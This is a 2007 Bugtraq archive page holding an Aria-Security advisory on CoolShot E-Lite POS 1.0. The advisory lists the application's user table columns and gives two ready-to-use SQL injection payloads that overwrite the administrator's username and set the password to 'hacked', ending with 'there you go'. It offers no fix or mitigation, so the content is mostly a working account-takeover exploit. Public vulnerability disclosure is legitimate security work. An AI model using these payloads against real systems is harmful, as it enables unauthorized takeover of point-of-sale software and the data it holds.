Bugtraq mailing list archives
Aria-Security.net: CoolShot E-Lite POS 1.0
From: no-reply () Aria-Security net
Date: 24 Nov 2007 08:27:38 -0000
Aria-Security Team http://aria-security.net ------------------------------------- CoolShot E-Lite POS 1.0 http://coolshot.net/index.php/works/49-e-lite-pos Original Advisory @ http://aria-security.net/forum/showthread.php?p=1108#post1108 Published on November 24 2007 users.user_id users.user_name users.user_email users.user_admin users.user_auth users.user_pw use these two queries -1' UPDATE users set user_name= 'admin' Where(user_iD= '1');-- -1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');-- there you go with the user admin and password hacked. Credits Goes to Aria-Security Team A SPECIAL THANKS TO: AurA Regards, The-0utl4w
Current thread:
- Aria-Security.net: CoolShot E-Lite POS 1.0 no-reply (Nov 24)
- <Possible follow-ups>
- Re: Aria-Security.net: CoolShot E-Lite POS 1.0 coolshot (Nov 30)